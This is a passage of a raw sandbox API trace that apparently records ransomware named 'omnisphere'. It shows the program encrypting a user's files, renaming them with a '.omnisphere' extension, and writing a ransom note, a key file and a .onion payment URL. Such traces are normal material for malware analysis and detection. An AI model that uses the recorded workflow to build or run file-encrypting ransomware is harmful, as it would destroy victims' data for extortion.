dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.791] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.792] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.792] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.792] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.792] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.792] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.792] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.792] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.792] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.792] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.792] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.792] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.794] CryptDestroyKey (hKey=0x1639a28) returned 1 [0068.794] CryptReleaseContext (hProv=0x163c498, dwFlags=0x0) returned 1 [0068.794] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x9998, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.794] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0068.794] GetProcessHeap () returned 0x1600000 [0068.794] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x28c) returned 0x1658190 [0068.794] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\puH1 V9zpzVTs8eyCQ.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\puh1 v9zpzvts8eycq.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\puH1 V9zpzVTs8eyCQ.mp4.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\puh1 v9zpzvts8eycq.mp4.omnisphere")) returned 1 [0068.797] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\puH1 V9zpzVTs8eyCQ.mp4.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\puH1 V9zpzVTs8eyCQ.mp4.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\puH1 V9zpzVTs8eyCQ.mp4.omnisphere.id" [0068.797] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\puH1 V9zpzVTs8eyCQ.mp4.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\puh1 v9zpzvts8eycq.mp4.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0068.797] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0068.798] CloseHandle (hObject=0x3a8) returned 1 [0068.800] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0068.800] CloseHandle (hObject=0x3a4) returned 1 [0068.800] SetEndOfFile (hFile=0x3a0) returned 1 [0068.800] FlushFileBuffers (hFile=0x3a0) returned 1 [0068.807] CloseHandle (hObject=0x3a0) returned 1 [0068.808] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\puH1 V9zpzVTs8eyCQ.mp4" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0068.808] GetProcessHeap () returned 0x1600000 [0068.808] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1658428 [0068.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0068.808] GetProcessHeap () returned 0x1600000 [0068.808] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641a48 [0068.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641a48, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0068.808] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0068.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.808] GetProcessHeap () returned 0x1600000 [0068.808] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162fa10 [0068.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162fa10, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0068.808] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0068.808] GetProcessHeap () returned 0x1600000 [0068.808] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163b9f8 [0068.808] PathCombineW (in: pszDest=0x163b9f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0068.808] GetProcessHeap () returned 0x1600000 [0068.808] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x165ae78 [0068.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.809] WriteFile (in: hFile=0x3a0, lpBuffer=0x165ae78*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x165ae78*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0068.809] CloseHandle (hObject=0x3a0) returned 1 [0068.809] GetProcessHeap () returned 0x1600000 [0068.809] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1658428 | out: hHeap=0x1600000) returned 1 [0068.809] GetProcessHeap () returned 0x1600000 [0068.809] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fd80 [0068.809] PathCombineW (in: pszDest=0x163fd80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0068.809] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.809] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0068.809] CloseHandle (hObject=0x3a0) returned 1 [0068.809] GetProcessHeap () returned 0x1600000 [0068.809] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fd80 | out: hHeap=0x1600000) returned 1 [0068.810] GetProcessHeap () returned 0x1600000 [0068.810] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163b8e8 | out: hHeap=0x1600000) returned 1 [0068.810] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3010f30, ftCreationTime.dwHighDateTime=0x1d4d30b, ftLastAccessTime.dwLowDateTime=0xe310bc30, ftLastAccessTime.dwHighDateTime=0x1d4d1a9, ftLastWriteTime.dwLowDateTime=0xe310bc30, ftLastWriteTime.dwHighDateTime=0x1d4d1a9, nFileSizeHigh=0x0, nFileSizeLow=0xa1b9, dwReserved0=0x0, dwReserved1=0xed, cFileName="R7Xo1pIDUa2Xzbh.m4a", cAlternateFileName="R7XO1P~1.M4A")) returned 1 [0068.810] GetProcessHeap () returned 0x1600000 [0068.810] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x76) returned 0x163ff80 [0068.810] PathCombineW (in: pszDest=0x163ff80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="R7Xo1pIDUa2Xzbh.m4a" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\R7Xo1pIDUa2Xzbh.m4a") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\R7Xo1pIDUa2Xzbh.m4a" [0068.810] StrStrW (lpFirst=".omnisphere", lpSrch=".m4a") returned 0x0 [0068.810] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R7Xo1pIDUa2Xzbh.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r7xo1pidua2xzbh.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.810] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=41401) returned 1 [0068.810] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x9c95, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.810] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0068.810] GetTickCount () returned 0x11517ba [0068.810] GetTickCount () returned 0x11517ba [0068.810] GetTickCount () returned 0x11517ba [0068.810] GetTickCount () returned 0x11517ba [0068.810] GetTickCount () returned 0x11517ba [0068.810] GetTickCount () returned 0x11517ba [0068.810] GetTickCount () returned 0x11517ba [0068.810] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] GetTickCount () returned 0x11517ba [0068.811] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163bdb0) returned 1 [0068.812] CryptImportKey (in: hProv=0x163bdb0, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639a28) returned 1 [0068.812] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0068.812] CryptDestroyKey (hKey=0x1639a28) returned 1 [0068.812] CryptReleaseContext (hProv=0x163bdb0, dwFlags=0x0) returned 1 [0068.812] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa1b9, lpName=0x0) returned 0x3a4 [0068.812] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa1b9) returned 0x3430000 [0068.813] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163bc18) returned 1 [0068.813] CryptImportKey (in: hProv=0x163bc18, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639728) returned 1 [0068.813] CryptSetKeyParam (hKey=0x1639728, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0068.813] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, 